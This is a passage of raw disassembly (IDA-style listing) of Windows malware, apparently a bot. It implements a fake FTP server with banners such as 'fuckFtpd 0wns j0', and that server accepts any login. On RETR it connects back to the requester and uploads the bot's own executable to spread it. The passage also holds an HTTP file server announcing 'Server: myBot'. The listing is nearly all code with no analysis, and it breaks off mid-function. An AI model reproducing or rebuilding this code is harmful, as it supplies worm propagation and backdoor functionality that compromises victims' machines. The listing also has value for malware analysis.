		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059F0
; ---------------------------------------------------------------------------


loc_4055EE:				; CODE XREF: sub_405409+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_4211E8	; recv
		test	eax, eax
		jg	short loc_405655
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_405649
		lea	eax, [ebp+var_224]


loc_405615:				; CODE XREF: sub_405409+216j
		cmp	[eax], edi
		jz	short loc_405623
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_405615
		jmp	short loc_405649
; ---------------------------------------------------------------------------


loc_405623:				; CODE XREF: sub_405409+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_405643
		lea	eax, [ebp+ecx*4+var_224]


loc_40562F:				; CODE XREF: sub_405409+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40562F


loc_405643:				; CODE XREF: sub_405409+21Dj
		dec	[ebp+var_228]


loc_405649:				; CODE XREF: sub_405409+204j
					; sub_405409+218j
		push	edi
		call	dword_4211F0	; closesocket
		jmp	loc_4059F0
; ---------------------------------------------------------------------------


loc_405655:				; CODE XREF: sub_405409+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416AA0
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_415910
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405699
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_405699:				; CODE XREF: sub_405409+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056BD
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_4056BD:				; CODE XREF: sub_405409+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056E1
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_4056E1:				; CODE XREF: sub_405409+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405705
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_405705:				; CODE XREF: sub_405409+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_426918
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405729
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: sub_405409+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405764
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405764
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_405764:				; CODE XREF: sub_405409+335j
					; sub_405409+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40579F
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40579F
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_40579F:				; CODE XREF: sub_405409+370j
					; sub_405409+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057ED
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057DD:				; CODE XREF: sub_405409+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4057E5:				; CODE XREF: sub_405409+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059DE
; ---------------------------------------------------------------------------


loc_4057ED:				; CODE XREF: sub_405409+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40582E
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057DD
; ---------------------------------------------------------------------------


loc_40582E:				; CODE XREF: sub_405409+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405901
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416AA0
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_415A5F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_415A5F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_415570
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4154E7
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_416A89
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4154E7
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057E5
; ---------------------------------------------------------------------------


loc_405901:				; CODE XREF: sub_405409+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059BC
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_405A0C
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4059B2
		call	sub_405A89
		cmp	eax, 1
		jnz	loc_4059DE
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_438FDC
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_42675C
		push	eax
		call	sub_4154E7
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_4059A3
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_412D4C
		add	esp, 14h


loc_4059A3:				; CODE XREF: sub_405409+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	short loc_4059DE
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_405409+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059DB
; ---------------------------------------------------------------------------


loc_4059BC:				; CODE XREF: sub_405409+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059DE
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059DB:				; CODE XREF: sub_405409+28Bj
					; sub_405409+2AFj ...
		push	edi
		call	ebx	; send


loc_4059DE:				; CODE XREF: sub_405409+3DFj
					; sub_405409+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch


loc_4059F0:				; CODE XREF: sub_405409+160j
					; sub_405409+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405537
		jmp	loc_4054FC
; ---------------------------------------------------------------------------


loc_405A02:				; CODE XREF: sub_405409+11Ej
		push	1
		pop	eax


loc_405A05:				; CODE XREF: sub_405409+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A0C	proc near		; CODE XREF: sub_405409+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4211B0	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4211E0	; socket
		push	[ebp+arg_0]
		mov	dword_438FD8, eax
		mov	[ebp+var_10], 2
		call	dword_4211D8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4211DC	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_438FD8
		call	dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A84
		push	dword_438FD8
		call	dword_4211F0	; closesocket
		call	dword_4211AC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A84:				; CODE XREF: sub_405A0C+60j
		push	1
		pop	eax
		leave
		retn
sub_405A0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A89	proc near		; CODE XREF: sub_405409+531p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BE8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405B20
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405B04
		push	edi
		mov	edi, 400h


loc_405ACC:				; CODE XREF: sub_405A89+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_416BB0
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_438FD8
		call	dword_4211EC	; send
		push	1
		call	dword_421060	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405ACC
		pop	edi


loc_405B04:				; CODE XREF: sub_405A89+3Bj
		push	esi
		call	sub_415B40
		pop	ecx
		push	dword_438FD8
		call	dword_4211F0	; closesocket
		call	dword_4211AC	; WSACleanup
		push	1
		pop	eax


loc_405B20:				; CODE XREF: sub_405A89+35j
		pop	esi
		leave
		retn
sub_405A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B23	proc near		; DATA XREF: sub_407276+333o
					; sub_40CE55+5068o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43A398	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405F0E
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43F534[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43A3C4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		push	7FFFFFFFh
		push	edi
		call	dword_43A3C0	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43A434	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BFA:				; CODE XREF: sub_405B23+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43A380	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F09
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405C30:				; CODE XREF: sub_405B23+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43A290	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405EF4
		cmp	esi, [ebp+var_C]
		jnz	short loc_405CB2
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43A42C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF4
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C84
		lea	edx, [ebp+var_134]


loc_405C78:				; CODE XREF: sub_405B23+15Fj
		cmp	[edx], eax
		jz	short loc_405C84
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C78


loc_405C84:				; CODE XREF: sub_405B23+14Dj
					; sub_405B23+157j
		cmp	ecx, ebx
		jnz	short loc_405CA1
		cmp	ebx, 40h
		jnb	short loc_405CA1
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405CA1:				; CODE XREF: sub_405B23+163j
					; sub_405B23+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EF4
		mov	[ebp+var_8], eax
		jmp	loc_405EF4
; ---------------------------------------------------------------------------


loc_405CB2:				; CODE XREF: sub_405B23+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43A3B0	; recv
		test	eax, eax
		jg	short loc_405D45
		push	esi
		call	dword_43A430	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EF4
		lea	eax, [ebp+var_134]


loc_405D04:				; CODE XREF: sub_405B23+1EBj
		cmp	[eax], esi
		jz	short loc_405D15
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405D04
		jmp	loc_405EF4
; ---------------------------------------------------------------------------


loc_405D15:				; CODE XREF: sub_405B23+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D39
		lea	eax, [ebp+ecx*4+var_134]


loc_405D23:				; CODE XREF: sub_405B23+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405D23


loc_405D39:				; CODE XREF: sub_405B23+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EF4
; ---------------------------------------------------------------------------


loc_405D45:				; CODE XREF: sub_405B23+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_415CF0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EF4


loc_405D73:				; CODE XREF: sub_405B23+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405E18
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DEC
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_415CF0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DEC
		mov	eax, offset asc_426A00 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AC0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_415AC0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416C98
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415C00
		add	esp, 10h
		jmp	short loc_405E03
; ---------------------------------------------------------------------------


loc_405DEC:				; CODE XREF: sub_405B23+27Fj
					; sub_405B23+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4269FC ; "\r\n"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E37


loc_405E03:				; CODE XREF: sub_405B23+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405E18:				; CODE XREF: sub_405B23+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_415CF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D73
		jmp	loc_405EF4
; ---------------------------------------------------------------------------


loc_405E37:				; CODE XREF: sub_405B23+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E81
		lea	eax, [ebp+var_134]


loc_405E43:				; CODE XREF: sub_405B23+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E54
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E43
		jmp	short loc_405E84
; ---------------------------------------------------------------------------


loc_405E54:				; CODE XREF: sub_405B23+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E78
		lea	eax, [ebp+ecx*4+var_134]


loc_405E62:				; CODE XREF: sub_405B23+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E62


loc_405E78:				; CODE XREF: sub_405B23+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E84
; ---------------------------------------------------------------------------


loc_405E81:				; CODE XREF: sub_405B23+318j
		mov	esi, [ebp+var_4]


loc_405E84:				; CODE XREF: sub_405B23+32Fj
					; sub_405B23+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EED
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_415CF0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415CF0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EED
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43A434	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_406100
		add	esp, 14h
		jmp	short loc_405EF4
; ---------------------------------------------------------------------------


loc_405EED:				; CODE XREF: sub_405B23+369j
					; sub_405B23+38Fj
		push	esi
		call	dword_43A430	; closesocket


loc_405EF4:				; CODE XREF: sub_405B23+11Dj
					; sub_405B23+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405C30
		jmp	loc_405BFA
; ---------------------------------------------------------------------------


loc_405F09:				; CODE XREF: sub_405B23+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405F0E:				; CODE XREF: sub_405B23+6Aj
					; sub_405B23+92j ...
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4269B4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F54
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_412D4C
		add	esp, 14h


loc_405F54:				; CODE XREF: sub_405B23+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_254]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_405B23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F7E	proc near		; DATA XREF: sub_406100+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4154E7
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_405FE3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FE8
; ---------------------------------------------------------------------------


loc_405FE3:				; CODE XREF: sub_405F7E+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FE8:				; CODE XREF: sub_405F7E+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_421084	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_421080	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406061
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154E7
		add	esp, 24h
		jmp	short loc_406082
; ---------------------------------------------------------------------------


loc_406061:				; CODE XREF: sub_405F7E+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154E7
		add	esp, 28h


loc_406082:				; CODE XREF: sub_405F7E+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43A3E8	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_4060C2
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A32
		pop	ecx
		pop	ecx
		jmp	short loc_4060DF
; ---------------------------------------------------------------------------


loc_4060C2:				; CODE XREF: sub_405F7E+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4063B0
		add	esp, 10h


loc_4060DF:				; CODE XREF: sub_405F7E+142j
		push	[ebp+var_44C]
		call	dword_43A430	; closesocket
		push	[ebp+var_B4]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_405F7E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406100	proc near		; CODE XREF: sub_405B23+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415570
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406136
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406136:				; CODE XREF: sub_406100+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40613F:				; CODE XREF: sub_406100+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061DA
		mov	[ebp+arg_8], 2


